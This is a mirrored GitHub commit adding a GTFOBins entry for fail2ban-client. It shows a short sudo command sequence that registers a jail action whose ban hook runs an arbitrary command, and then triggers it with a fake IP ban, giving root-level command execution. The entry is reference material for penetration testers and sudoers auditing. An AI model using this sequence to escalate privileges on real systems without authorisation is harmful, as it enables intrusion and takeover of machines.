mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create fail2ban-client.md
This commit is contained in:
parent
055ef78280
commit
2470ad449f
15
_gtfobins/fail2ban-client.md
Normal file
15
_gtfobins/fail2ban-client.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
description: |
|
||||||
|
The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess (it will hang the `banip` command until the subprocess returns.
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
COMMAND="id"
|
||||||
|
sudo fail2ban-client add woot
|
||||||
|
sudo fail2ban-client set woot addaction wootaction
|
||||||
|
sudo fail2ban-client set woot action wootaction actionban "$COMMAND"
|
||||||
|
sudo fail2ban-client start woot
|
||||||
|
sudo fail2ban-client set woot banip 999.999.999.999
|
||||||
|
sudo fail2ban-client set woot unbanip 999.999.999.999
|
||||||
|
sudo fail2ban-client stop woot
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user